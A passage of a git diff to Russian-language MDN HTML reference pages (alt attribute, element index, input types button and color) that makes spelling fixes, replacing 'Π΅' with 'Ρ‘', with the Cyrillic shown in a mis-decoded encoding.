ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ пытаСтся ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ.</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>alt</code> Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ‡Ρ‘Ρ‚ΠΊΠΎ ΠΈ ΠΊΡ€Π°Ρ‚ΠΊΠΎ ΠΎΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ содСрТимоС изобраТСния. Он Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ самого изобраТСния ΠΈΠ»ΠΈ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ Ρ„Π°ΠΉΠ»Π° изобраТСния. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>alt</code> Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½ΠΎ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ тСкстового эквивалСнта, рассмотритС Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ способы прСдставлСния содСрТимого, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ пытаСтся ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ.</p>
<h4 id="ΠŸΠ»ΠΎΡ…ΠΎ">ΠŸΠ»ΠΎΡ…ΠΎ</h4>
diff --git a/files/ru/web/html/element/index.html b/files/ru/web/html/element/index.html
index 2fe4bfa7e7..2e960c4e4e 100644
--- a/files/ru/web/html/element/index.html
+++ b/files/ru/web/html/element/index.html
@@ -33,7 +33,7 @@ translation_of: Web/HTML/Element
<h2 id="ВСкстовоС_содСрТаниС" style="line-height: 30px; font-size: 2.14285714285714rem;"><span class="short_text" id="result_box" lang="ru"><span class="hps">ВСкстовоС содСрТаниС</span></span></h2>
<div id="gt-src-tools">
-<div id="tts_button"><span id="result_box" lang="ru"><span class="hps">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅</span> тСкстовыС <span class="hps">элСмСнты</span>Β <span class="hps">HTML для</span> <span class="hps">ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ</span> <span class="hps">Π±Π»ΠΎΠΊΠΎΠ²</span> <span class="hps">ΠΈΠ»ΠΈ Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ²</span> <span class="hps">содСрТания</span><span>, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹Π΅</span>Β <span class="hps">ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ‚Π΅Π³Π°ΠΌΠΈ открытия</span> <span class="atn hps">&lt;</span><span>body&gt;</span> <span class="hps">ΠΈ закрытия</span> <span class="atn hps">&lt;</span><span>/</span><span>body&gt;</span><span>.</span> <span class="hps">Π’Π°ΠΆΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для</span> <span class="atn hps">{{Glossary("accessibility")}}</span> <span class="hps">ΠΈ</span> <span class="atn hps">{{Glossary("SEO")}}</span><span>,</span><span class="hps"> Ρ‡Ρ‚ΠΎΠ±Ρ‹ эти элСмСнты</span><span class="hps"> ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ</span> <span class="hps">Ρ†Π΅Π»ΡŒ ΠΈΠ»ΠΈ</span> <span class="hps">структуру</span> <span class="hps">этого ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</span><span>.</span></span></div>
+<div id="tts_button"><span id="result_box" lang="ru"><span class="hps">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅</span> тСкстовыС <span class="hps">элСмСнты</span>Β <span class="hps">HTML для</span> <span class="hps">ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ</span> <span class="hps">Π±Π»ΠΎΠΊΠΎΠ²</span> <span class="hps">ΠΈΠ»ΠΈ Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ²</span> <span class="hps">содСрТания</span><span>, Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹Π΅</span>Β <span class="hps">ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ‚Π΅Π³Π°ΠΌΠΈ открытия</span> <span class="atn hps">&lt;</span><span>body&gt;</span> <span class="hps">ΠΈ закрытия</span> <span class="atn hps">&lt;</span><span>/</span><span>body&gt;</span><span>.</span> <span class="hps">Π’Π°ΠΆΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для</span> <span class="atn hps">{{Glossary("accessibility")}}</span> <span class="hps">ΠΈ</span> <span class="atn hps">{{Glossary("SEO")}}</span><span>,</span><span class="hps"> Ρ‡Ρ‚ΠΎΠ±Ρ‹ эти элСмСнты</span><span class="hps"> ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ</span> <span class="hps">Ρ†Π΅Π»ΡŒ ΠΈΠ»ΠΈ</span> <span class="hps">структуру</span> <span class="hps">этого ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</span><span>.</span></span></div>
<div>Β </div>
</div>
diff --git a/files/ru/web/html/element/input/button/index.html b/files/ru/web/html/element/input/button/index.html
index 984fa13988..cd540ba599 100644
--- a/files/ru/web/html/element/input/button/index.html
+++ b/files/ru/web/html/element/input/button/index.html
@@ -68,7 +68,7 @@ translation_of: Web/HTML/Element/input/button
<h3 id="ΠŸΡ€ΠΎΡΡ‚Π°Ρ_ΠΊΠ½ΠΎΠΏΠΊΠ°">ΠŸΡ€ΠΎΡΡ‚Π°Ρ ΠΊΠ½ΠΎΠΏΠΊΠ°</h3>
-<p>ΠœΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ с создания простой ΠΊΠ½ΠΎΠΏΠΊΠΈ с ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ события {{event("click")}} , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСт наш ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ (Π½Ρƒ, ΠΎΠ½ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ <code>value</code> ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΈ тСкстовоС содСрТимоС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ Π°Π±Π·Π°Ρ†Π°):</p>
+<p>ΠœΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ с создания простой ΠΊΠ½ΠΎΠΏΠΊΠΈ с ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ события {{event("click")}} , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСт наш ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ (Π½Ρƒ, ΠΎΠ½ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ <code>value</code> ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΈ тСкстовоС содСрТимоС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ Π°Π±Π·Π°Ρ†Π°):</p>
<pre class="brush: html">&lt;form&gt;
&lt;input type="button" value="Π—Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ПК"&gt;
diff --git a/files/ru/web/html/element/input/color/index.html b/files/ru/web/html/element/input/color/index.html
index 0dcdf05619..8a27bf8d8b 100644
--- a/files/ru/web/html/element/input/color/index.html
+++ b/files/ru/web/html/element/input/color/index.html
@@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/input/color
---
<div>{{HTMLRef}}</div>
-<p><span class="seoSummary">{{HTMLElement("input")}} элСмСнты Ρ‚ΠΈΠΏΠ° <strong><code>color</code></strong> ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ элСмСнт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚ Π»ΠΈΠ±ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ интСрфСйса Π²Ρ‹Π±ΠΎΡ€Π° Ρ†Π²Π΅Ρ‚Π°, Π»ΠΈΠ±ΠΎ ΠΏΡƒΡ‚Π΅ΠΌ Π²Π²ΠΎΠ΄Π° Ρ†Π²Π΅Ρ‚Π° Π² тСкстовоС ΠΏΠΎΠ»Π΅ Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ #rrggbb. Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ простыС Ρ†Π²Π΅Ρ‚Π° (Π±Π΅Π· Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π»Π°), хотя CSS colors ΠΈΠΌΠ΅Π΅Ρ‚ большС Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ названия Ρ†Π²Π΅Ρ‚ΠΎΠ², Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ обозначСния ΠΈ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ с Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π»ΠΎΠΌ.</span></p>
+<p><span class="seoSummary">{{HTMLElement("input")}} элСмСнты Ρ‚ΠΈΠΏΠ° <strong><code>color</code></strong> ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ элСмСнт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚ Π»ΠΈΠ±ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ интСрфСйса Π²Ρ‹Π±ΠΎΡ€Π° Ρ†Π²Π΅Ρ‚Π°, Π»ΠΈΠ±ΠΎ ΠΏΡƒΡ‚Ρ‘ΠΌ Π²Π²ΠΎΠ΄Π° Ρ†Π²Π΅Ρ‚Π° Π² тСкстовоС ΠΏΠΎΠ»Π΅ Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ #rrggbb. Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ простыС Ρ†Π²Π΅Ρ‚Π° (Π±Π΅Π· Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π»Π°), хотя CSS colors ΠΈΠΌΠ΅Π΅Ρ‚ большС Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ названия Ρ†Π²Π΅Ρ‚ΠΎΠ², Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ обозначСния ΠΈ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ с Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π»ΠΎΠΌ.</span></p>
<p>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅ элСмСнта ΠΌΠΎΠΆΠ΅Ρ‚ сущСствСнно ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ/ΠΈΠ»ΠΈ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΉ β€” это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ простой тСкстовый Π²Π²ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ автоматичСски провСряСт ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π²Π²ΠΎΠ΄Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Ρ†Π²Π΅Ρ‚Π΅ Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, ΠΈΠ»ΠΈ стандартный для ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ Π²Ρ‹Π±ΠΎΡ€ Ρ†Π²Π΅Ρ‚Π°, ΠΈΠ»ΠΈ ΠΊΠ°ΠΊΠΎΠ΅-Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ ΠΎΠΊΠ½ΠΎ Π²Ρ‹Π±ΠΎΡ€Π° Ρ†Π²Π΅Ρ‚Π°.</p>
@@ -51,10 +51,10 @@ translation_of: Web/HTML/Element/input/color
<h2 id="Value">Value</h2>
-<p>{{Htmlattrxref ("value","input")}} элСмСнта {{HTMLElement ("input")}} Ρ‚ΠΈΠΏΠ° <code>color</code> всСгда являСтся {{domxref ("DOMString")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит 7-ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½ΡƒΡŽ строку, Π·Π°Π΄Π°ΡŽΡ‰ΡƒΡŽ Ρ†Π²Π΅Ρ‚ RGB Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅. Π₯отя Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ввСсти Ρ†Π²Π΅Ρ‚ Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ сохранСн Π² Π²ΠΈΠ΄Π΅ Π½ΠΈΠΆΠ½Π΅Π³ΠΎ рСгистра. ValueΒ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±Ρ‹Π²Π°Π΅Ρ‚ Π² ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠ΅ ΠΈ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±Ρ‹Π²Π°Π΅Ρ‚ пустым.</p>
+<p>{{Htmlattrxref ("value","input")}} элСмСнта {{HTMLElement ("input")}} Ρ‚ΠΈΠΏΠ° <code>color</code> всСгда являСтся {{domxref ("DOMString")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит 7-ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½ΡƒΡŽ строку, Π·Π°Π΄Π°ΡŽΡ‰ΡƒΡŽ Ρ†Π²Π΅Ρ‚ RGB Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅. Π₯отя Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ввСсти Ρ†Π²Π΅Ρ‚ Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ сохранён Π² Π²ΠΈΠ΄Π΅ Π½ΠΈΠΆΠ½Π΅Π³ΠΎ рСгистра. ValueΒ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±Ρ‹Π²Π°Π΅Ρ‚ Π² ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠ΅ ΠΈ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±Ρ‹Π²Π°Π΅Ρ‚ пустым.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> установка значСния Π½Π° всё, Ρ‡Ρ‚ΠΎ Π½Π΅ являСтся допустимым, ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ RGB Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΉ систСмС счислСния, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ установлСно Π½Π° #000000. Π’ частности, Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стандартныС ΠΈΠΌΠ΅Π½Π° Ρ†Π²Π΅Ρ‚ΠΎΠ² CSS ΠΈΠ»ΠΈ любой синтаксис Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ CSS для установки значСния. Π­Ρ‚ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ смысл, Ссли ΠΈΠΌΠ΅Ρ‚ΡŒ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ HTML ΠΈ CSS-это ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ языки ΠΈ спСцификации. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ†Π²Π΅Ρ‚Π° с Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π»ΠΎΠΌ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ; ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π° Π² 9-символьной ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΉ систСмС счислСния (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, #009900aa) Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Ρ†Π²Π΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ установлСн Π½Π° #000000.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> установка значСния Π½Π° всё, Ρ‡Ρ‚ΠΎ Π½Π΅ являСтся допустимым, ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ RGB Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΉ систСмС счислСния, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ установлСно Π½Π° #000000. Π’ частности, Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стандартныС ΠΈΠΌΠ΅Π½Π° Ρ†Π²Π΅Ρ‚ΠΎΠ² CSS ΠΈΠ»ΠΈ любой синтаксис Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ CSS для установки значСния. Π­Ρ‚ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ смысл, Ссли ΠΈΠΌΠ΅Ρ‚ΡŒ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ HTML ΠΈ CSS-это ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ языки ΠΈ спСцификации. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ†Π²Π΅Ρ‚Π° с Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π»ΠΎΠΌ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ; ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π° Π² 9-символьной ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΉ систСмС счислСния (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, #009900aa) Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Ρ†Π²Π΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ установлСн Π½Π° #000000.</p>
</div>
<h2 id="ИспользованиС_настроСк_Ρ†Π²Π΅Ρ‚Π°">ИспользованиС настроСк Ρ†Π²Π΅Ρ‚Π°</h2>
@@ -69,7 +69,7 @@ translation_of: Web/HTML/Element/input/color
<p>{{EmbedLiveSample("Providing_a_default_color", 700, 30)}}</p>
-<p>Если Π²Ρ‹ Π½Π΅ Π·Π°Π΄Π°Π΄ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π±ΡƒΠ΄Π΅Ρ‚ <code>#000000</code>, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π² сСмизначной ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΉ систСмС счислСния, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ символ"#", Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Π΄Π²Π΅ Ρ†ΠΈΡ„Ρ€Ρ‹, каТдая ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… прСдставляСт красный, Π·Π΅Π»Π΅Π½Ρ‹ΠΉ ΠΈ синий Ρ†Π²Π΅Ρ‚Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: #rrggbb. Если Ρƒ вас Π΅ΡΡ‚ΡŒ Ρ†Π²Π΅Ρ‚Π° Π² любом Π΄Ρ€ΡƒΠ³ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠΌΠ΅Π½Π° Ρ†Π²Π΅Ρ‚ΠΎΠ² CSS ΠΈΠ»ΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠ²Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ CSS, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ rgb () ΠΈΠ»ΠΈ rgba ()), Π²Π°ΠΌ придСтся ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅Π΄ установкой значСния.</p>
+<p>Если Π²Ρ‹ Π½Π΅ Π·Π°Π΄Π°Π΄ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π±ΡƒΠ΄Π΅Ρ‚ <code>#000000</code>, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π² сСмизначной ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΉ систСмС счислСния, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ символ"#", Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Π΄Π²Π΅ Ρ†ΠΈΡ„Ρ€Ρ‹, каТдая ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… прСдставляСт красный, Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ ΠΈ синий Ρ†Π²Π΅Ρ‚Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: #rrggbb. Если Ρƒ вас Π΅ΡΡ‚ΡŒ Ρ†Π²Π΅Ρ‚Π° Π² любом Π΄Ρ€ΡƒΠ³ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠΌΠ΅Π½Π° Ρ†Π²Π΅Ρ‚ΠΎΠ² CSS ΠΈΠ»ΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠ²Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ CSS, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ rgb () ΠΈΠ»ΠΈ rgba ()), Π²Π°ΠΌ придётся ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π² 